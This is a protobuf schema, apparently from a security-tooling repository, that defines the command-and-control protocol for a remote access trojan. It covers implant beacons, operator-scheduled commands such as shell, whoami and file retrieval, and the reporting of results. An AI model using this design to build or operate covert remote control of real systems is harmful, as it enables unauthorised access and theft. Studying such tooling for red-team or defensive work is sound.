kmanc-remote_code_oxidation/remote_access_trojan/rat.proto

syntax = "proto3";

package rat;

service AskForInstructions {
    rpc Send (Beacon) returns (CommandRequest);
}

service RecordCommandResult {
    rpc Send (CommandResponse) returns (Empty);
}

service ScheduleCommand {
    rpc Send (OperatorRequest) returns (OperatorResponse);
}

// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones
enum OperatorCommand {
    OpCadence = 0;
    OpDir = 1;
    OpHostname = 2;
    OpIp = 3;
    OpLs = 4;
    OpOs = 5;
    OpNone = 6;
    OpQuit = 7;
    OpShell = 8;
    OpWhoami = 9;
    OpImplants = 10;
    OpHelp = 11;
    OpRetrieve = 12;
}

enum RATCommand {
    Cadence = 0;
    Dir = 1;
    Hostname = 2;
    Ip = 3;
    Ls = 4;
    None = 5;
    Os = 6;
    Quit = 7;
    Shell = 8;
    Whoami = 9;
}

message Beacon {
    uint32 requested_command = 1;
}

message CommandRequest {
    RATCommand command = 1;
    string arguments = 2;
}

message CommandResponse {
    string implant_id = 1;
    uint64 timestamp = 2;
    RATCommand command = 3;
    string arguments = 4;
    string result = 5;
}

message OperatorRequest {
    OperatorCommand command = 1;
    string arguments = 2;
}

message OperatorResponse {
    string data = 1;
}

message Empty {}